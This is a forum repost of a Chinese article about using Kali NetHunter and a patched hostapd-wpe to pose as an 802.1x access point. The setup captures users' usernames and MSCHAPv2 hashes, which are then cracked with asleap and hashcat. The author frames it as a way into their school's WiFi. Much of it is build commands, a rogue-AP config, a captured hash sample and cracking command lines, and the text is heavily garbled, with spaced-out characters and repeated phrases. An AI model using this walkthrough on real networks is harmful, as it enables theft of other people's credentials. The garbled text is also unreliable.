搜索

[11037] 2017-02-17_使用KaliNethunter破解802.1x安全性WiFi

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2017-02-17_使用KaliNethunter破解802.1x安全性WiFi 使 用 K a l i   N e t h u n t e r 破 解 8 0 2 . 1 x 安 全 性 W i F i y a 0 g u a n g   F r e e B u f   2 0 1 7 - 0 2 - 1 7 背 景 背 景 笔 者 学 校 的 无 线 网 络 采 用 笔 者 学 校 的 无 线 网 络 采 用 1 x 认 证 方 式 ， 所 以 你 懂 的 。 认 证 方 式 ， 所 以 你 懂 的 。 之 前 参 考 之 前 参 考 G i t H u b 上 的 一 个 项 目 在 上 的 一 个 项 目 在 K a l i 2 . 0 上 部 署 成 功 ， 但 是 在 手 机 端 的 上 部 署 成 功 ， 但 是 在 手 机 端 的 情 况 比 较 不 同 ， 猜 测 是 因 为 架 构 有 一 定 区 别 所 导 致 的 ， 而 且 该 网 页 上 的 情 况 比 较 不 同 ， 猜 测 是 因 为 架 构 有 一 定 区 别 所 导 致 的 ， 而 且 该 网 页 上 的 H o s t a p d 版 本 比 较 低 ， 遂 继 续 查 找 ， 找 到 了 版 本 比 较 低 ， 遂 继 续 查 找 ， 找 到 了 a i r c r a c k - n g 的 的 G i t H u b 的 某 一 个 页 面 上 展 示 了 的 某 一 个 页 面 上 展 示 了 H o s t a p d - w p e 的 用 法 （ 详 情 点 击 阅 读 原 文 查 看 ） 的 用 法 （ 详 情 点 击 阅 读 原 文 查 看 ） 页 面 上 写 的 比 较 详 细 ， 但 是 实 践 中 笔 者 还 是 踩 了 不 少 坑 ， 下 面 开 始 ： （ 注 意 ： 本 文 在 K a l i   2 . 0 及 以 上 的 版 本 中 应 该 也 适 用 ！ 但 是 本 人 没 有 测 试 ， 还 请 测 试 通 过 的 朋 友 留 个 言 ） 依 赖 依 赖 p k g - c o n f i l i b s s l   1 . 0 l i b n l 3   ( a n d   g e n l ) s q l i t e 3 安 装 依 赖 安 装 依 赖
a p t - g e t   i n s t a l l   l i b s s l 1 . 0 - d e v   l i b n l - g e n l - 3 - d e v   l i b n l - 3 - d e v   p k g - c o n f i g   l i b s q l i t e 3 - d e v 由 于 手 机 上 敲 指 令 过 于 蛋 疼 ， 笔 者 自 己 s s h 到 了 手 机 上 ， 在 K a l i 的 应 用 中 可 以 直 接 打 开 S S H 服 务 。 用 f t p 或 者 w g e t 之 类 的 将 p a t c h 文 件 下 载 到 手 机 上 ， 这 里 笔 者 的 路 径 是   ~ / 1 x /   ， 执 行 ： 注 ： 补 丁 文 件 （ 点 击 阅 读 原 文 查 看 链 接 ） 下 载 、 编 译 、 安 装 下 载 、 编 译 、 安 装 #   下 载 下 载 w g e t   h t t p : / / h o s t a p . e p i t e s t . f i / r e l e a s e s / h o s t a p d - 2 . 6 . t a r . g z t a r   - z x f   h o s t a p d - 2 . 6 . t a r . g z c d   h o s t a p d - 2 . 6 #   打 补 丁 打 补 丁 #   编 译 安 装 编 译 安 装 制 作 证 书 制 作 证 书 这 里 会 出 现 关 于 g e n d h 命 令 未 找 到 的 错 误 ， 原 因 是 o p e n s s l 将 g e n d h 已 经 换 成 了 d h p a r a m ， 在 该 目 录 下 的 M a k e f i l e 中 将 g e n d h 替 换 为 d h p a r a m 即 可 。                 运 行 运 行 请 注 意 在 N e t h u n t e r 中 已 经 预 先 安 装 了 h o s t a p d ， 但 是 那 个 版 本 的 h o s t a p d 是 不 支 持 1 x 的 。 所 以 请 切 换 到 我 们 部 署 的 h o s t a p d 目 录 下 ， 运 行 ：                 这 里 的 配 置 文 件 需 要 修 改 ， 需 要 修 改 的 地 方 有 ： p a t c h   - p 1   <   . . / h o s t a p d - w p e . p a t c h c d   h o s t a p d m a k e m a k e   i n s t a l l m a k e   w p e c d   / e t c / h o s t a p d - w p e / c e r t s . / b o o t s t r a p m a k e   i n s t a l l . / h o s t a p d   . / h o s t a p d - w p e . c o n f i n t e r f a c e = w l a n 1 s s i d = Y O U R _ S S I D d r i v e r = n l 8 0 2 1 1 h w _ m o d e = g # f r a g m _ t h r e s h o l d = - 1 # r t s _ t h r e s h o l d = - 1 #   以 上 两 行 需 要 添 加 注 释
之 后 再 运 行 ， 即 可 成 功 。 日 志 的 数 据 为 该 目 录 下 的 h o s t a p d - w p e . l o g 文 件 ， 其 记 载 了 用 户 的 用 户 名 和 M S C H A P v 2 认 证 h a s h 值 。 破 解 破 解 由 于 采 用 M S C H A P v 2 认 证 ， 所 以 密 码 并 不 会 明 文 显 示 。 主 要 有 两 种 方 法 ， 其 一 是 直 接 用 系 统 中 的 工 具 a s l e e p 进 行 破 解 ， 举 个 栗 子 ： a s l e e p 采 集 到 的 日 志 样 例 ： 执 行 ：                 其 中 w o r d l i s t 需 要 自 己 准 备 h a s h c a t 另 一 种 方 法 是 利 用 h a s h c a t 进 行 破 解 ， 其 好 处 是 可 以 根 据 掩 码 实 时 生 产 字 典 爆 破 而 且 可 以 使 用 G P U + C P U 资 源 进 行 破 解 ， 速 度 比 较 科 学 。 关 于 h a s h c a t 的 获 取 ， 请 去 官 方 网 站 下 载 。 h a s h c a t   b r i e f   i n t r o d u c t i o n 笔 者 这 里 使 用 的 参 数 如 下 ， 在 W i n d o w s 机 器 上 执 行 ：                 其 中 ， - 1   ? l   代 表 定 义 1 号 掩 码 的 格 式 为 所 有 小 写 字 母 ， 参 考 掩 码 表 ：                 将 之 前 得 到 的 输 出 结 果 按 照                 u s e r n a m e :   j d s l f k j s c h a l l e n g e :   b c : 8 7 : 6 c : 4 8 : 3 7 : d 3 : 9 2 : 6 e r e s p o n s e :   2 d : 0 0 : 6 1 : 5 9 : 5 6 : 0 6 : 0 2 : d d : 3 5 : 4 a : 0 f : 9 9 : c 8 : 6 b : e 1 : f b : a 3 : 0 4 : c a : 8 2 : 4 0 : 9 2 : 7 c : f 0 $   a s l e a p   - C   b c : 8 7 : 6 c : 4 8 : 3 7 : d 3 : 9 2 : 6 e   - R   2 d : 0 0 : 6 1 : 5 9 : 5 6 : 0 6 : 0 2 : d d : 3 5 : 4 a : 0 f : 9 9 : c 8 : 6 b : e 1 : f b : a 3 : 0 4 : c a : 8 2 : 4 0 : 9 2 : 7 c : f 0   - W   w o r d l i s t a s l e a p   2 . 2   -   a c t i v e l y   r e c o v e r   L E A P / P P T P   p a s s w o r d s .   < j w r i g h t @ h a s b o r g . c o m > h a s h   b y t e s :                 b 1 c a N T   h a s h :                       e 6 1 4 b 9 5 8 d f 9 d f 4 9 e c 0 9 4 b 8 7 3 0 f 0 b b 1 c a p a s s w o r d :                     b r a d t e s t h a s h c a t   [ 选 项 ]   . . .   h a s h | h a s h f i l e | h c c a p f i l e   [ 字 典 | 掩 码 | 路 径 ] - m ,   - - h a s h - t y p e                 / 哈 希 值 类 型 ， 我 们 使 用 5 5 0 0   N e t N T L M v 1 - a ,   - - a t t a c k - m o d e             / 攻 击 模 式 ， 这 里 使 用 3   暴 力 破 解 - d ,   - - o p e n c l - d e v i c e s       / 使 用 设 备 ， 1 ： C P U   2 ： G P U   3 ： F P G A ， D S P - o ,   - - o u t f i l e                     / 输 出 文 件 路 径 - i ,   - - i n c e r m e n t                 / 掩 码 破 击 时 使 用 ， 设 置 掩 码 上 下 限 . / h a s h c a t 6 4 . e x e   - d   1   - a   3   - m   5 5 0 0   - o   " o u t p u t   p a t h "   - i   - - i n c r e m e n t - m i n = 1   - - i n c r e m e n t - m a x = 8   - 1   ? l   " i n p u t   f i l e p a t h "   ? 1 ? 1 ? 1 ? 1 ? 1 ? 1 ? 1 ? 1 ?   |   C h a r s e t = = = + = = = = = = = = = l   |   a b c d e f g h i j k l m n o p q r s t u v w x y z u   |   A B C D E F G H I J K L M N O P Q R S T U V W X Y Z d   |   0 1 2 3 4 5 6 7 8 9 s   |     ! " # $ % & ' ( ) * + , - . / : ; = ? @ [ ] ^ _ ` { | } ~ a   |   ? l ? u ? d ? s b   |   0 x 0 0   -   0 x f f
u s e r n a m e : : : : r e s p o n s e : c h a l l e n g e                 的 格 式 存 储 在 文 本 文 档 中 ， 注 意 去 掉 h a s h 值 中 的 冒 号 。 运 行 h a s h c a t 后 记 后 记 为 了 方 便 起 见 ， 可 以 将 其 作 为 用 户 定 义 脚 本 存 储 在 n e t h u n t e r 的 c u s t o m   c o m m a n d 中 ：
运 行 截 图 ：
* 本 文 原 创 作 者 ： y a 0 g u a n g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理